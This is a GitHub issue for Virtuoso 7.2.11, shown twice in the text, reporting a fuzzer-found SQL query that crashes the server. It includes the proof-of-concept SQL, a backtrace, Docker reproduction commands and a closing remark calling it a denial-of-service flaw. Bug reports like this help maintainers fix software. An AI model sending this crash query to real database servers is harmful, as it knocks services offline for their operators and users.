The PoC is generated by my DBMS fuzzer. It can also be reproduced in the latest branch.
```SQL
CREATE TABLE v0 ( v1 DOUBLE PRECISION ) ; 
  INSERT INTO v0 VALUES ( -1 ) ; 
  INSERT INTO v0 ( v1 ) SELECT CASE v1 WHEN 42 THEN v1 ELSE 95 END FROM v0 AS v3 , v0 AS v4 , v0 , v0 AS v2 GROUP BY v1 , v1 ORDER BY CASE WHEN v1 >= 2147483647 THEN 'x' + ( SELECT ( CASE WHEN v1 NOT IN ( SELECT ( v1 / ( - v1 ) ) FROM v0 GROUP BY 'x' ) THEN v1 ELSE NULL END ) AS v5 ) WHEN 1 THEN 'x' ELSE ( 44 * v1 ) END ; 
```

backtrace:
```c
#0 0x5ea5d7 (box_deserialize_string+0x37)
#1 0x87917e (sslr_qst_get+0x46e)
#2 0x533fa9 (setp_order_row+0x499)
#3 0x63c182 (setp_node_run+0x4a2)
#4 0x63cc23 (setp_node_input+0x33)
#5 0x7af05e (qn_input+0x3ce)
#6 0x7af78f (qn_ts_send_output+0x23f)
#7 0x437069 (chash_read_input+0x1029)
#8 0x7af05e (qn_input+0x3ce)
#9 0x7af4c6 (qn_send_output+0x236)
#10 0x7af05e (qn_input+0x3ce)
#11 0x7bc82b (fun_ref_node_input+0x36b)
#12 0x7af05e (qn_input+0x3ce)
#13 0x7af4c6 (qn_send_output+0x236)
#14 0x8214bd (set_ctr_vec_input+0x99d)
#15 0x7af05e (qn_input+0x3ce)
#16 0x7c1be9 (qr_dml_array_exec+0x839)
#17 0x7ce602 (sf_sql_execute+0x15d2)
#18 0x7cecde (sf_sql_execute_w+0x17e)
#19 0x7d799d (sf_sql_execute_wrapper+0x3d)
#20 0xe214bc (future_wrapper+0x3fc)
#21 0xe28dbe (_thread_boot+0x11e)
#22 0x7f798467a609 (start_thread+0xd9)
#23 0x7f798444a133 (clone+0x43)
```

ways to reproduce (write poc to the file /tmp/test.sql first):
```bash
# remove the old one
docker container rm virtdb_test -f
# start virtuoso through docker
docker run --name virtdb_test -itd --env DBA_PASSWORD=dba openlink/virtuoso-opensource-7:7.2.11
# wait the server starting
sleep 10
# check whether the simple query works
echo "SELECT 1;" | docker exec -i virtdb_test isql 1111 dba
# run the poc
cat /tmp/test.sql | docker exec -i virtdb_test isql 1111 dba
```
Fuzzer: Virtuoso 7.2.11 crashed at box_deserialize_string
This is a GitHub Issue
repo:virtuoso-opensource
owner:openlink
Title : Fuzzer: Virtuoso 7.2.11 crashed at box_deserialize_string
Issue date:

--- start body ---
The PoC is generated by my DBMS fuzzer. It can also be reproduced in the latest branch.
```SQL
CREATE TABLE v0 ( v1 DOUBLE PRECISION ) ; 
  INSERT INTO v0 VALUES ( -1 ) ; 
  INSERT INTO v0 ( v1 ) SELECT CASE v1 WHEN 42 THEN v1 ELSE 95 END FROM v0 AS v3 , v0 AS v4 , v0 , v0 AS v2 GROUP BY v1 , v1 ORDER BY CASE WHEN v1 >= 2147483647 THEN 'x' + ( SELECT ( CASE WHEN v1 NOT IN ( SELECT ( v1 / ( - v1 ) ) FROM v0 GROUP BY 'x' ) THEN v1 ELSE NULL END ) AS v5 ) WHEN 1 THEN 'x' ELSE ( 44 * v1 ) END ; 
```

backtrace:
```c
#0 0x5ea5d7 (box_deserialize_string+0x37)
#1 0x87917e (sslr_qst_get+0x46e)
#2 0x533fa9 (setp_order_row+0x499)
#3 0x63c182 (setp_node_run+0x4a2)
#4 0x63cc23 (setp_node_input+0x33)
#5 0x7af05e (qn_input+0x3ce)
#6 0x7af78f (qn_ts_send_output+0x23f)
#7 0x437069 (chash_read_input+0x1029)
#8 0x7af05e (qn_input+0x3ce)
#9 0x7af4c6 (qn_send_output+0x236)
#10 0x7af05e (qn_input+0x3ce)
#11 0x7bc82b (fun_ref_node_input+0x36b)
#12 0x7af05e (qn_input+0x3ce)
#13 0x7af4c6 (qn_send_output+0x236)
#14 0x8214bd (set_ctr_vec_input+0x99d)
#15 0x7af05e (qn_input+0x3ce)
#16 0x7c1be9 (qr_dml_array_exec+0x839)
#17 0x7ce602 (sf_sql_execute+0x15d2)
#18 0x7cecde (sf_sql_execute_w+0x17e)
#19 0x7d799d (sf_sql_execute_wrapper+0x3d)
#20 0xe214bc (future_wrapper+0x3fc)
#21 0xe28dbe (_thread_boot+0x11e)
#22 0x7f798467a609 (start_thread+0xd9)
#23 0x7f798444a133 (clone+0x43)
```

ways to reproduce (write poc to the file /tmp/test.sql first):
```bash
# remove the old one
docker container rm virtdb_test -f
# start virtuoso through docker
docker run --name virtdb_test -itd --env DBA_PASSWORD=dba openlink/virtuoso-opensource-7:7.2.11
# wait the server starting
sleep 10
# check whether the simple query works
echo "SELECT 1;" | docker exec -i virtdb_test isql 1111 dba
# run the poc
cat /tmp/test.sql | docker exec -i virtdb_test isql 1111 dba
```
--- end body ---

A segmentation fault in the Virtuoso 7.2.11 database server occurs when executing a complex SQL query that triggers the box_deserialize_string function. This vulnerability can be exploited to cause a Denial of Service (DoS) by crashing the server when the provided SQL statement is processed.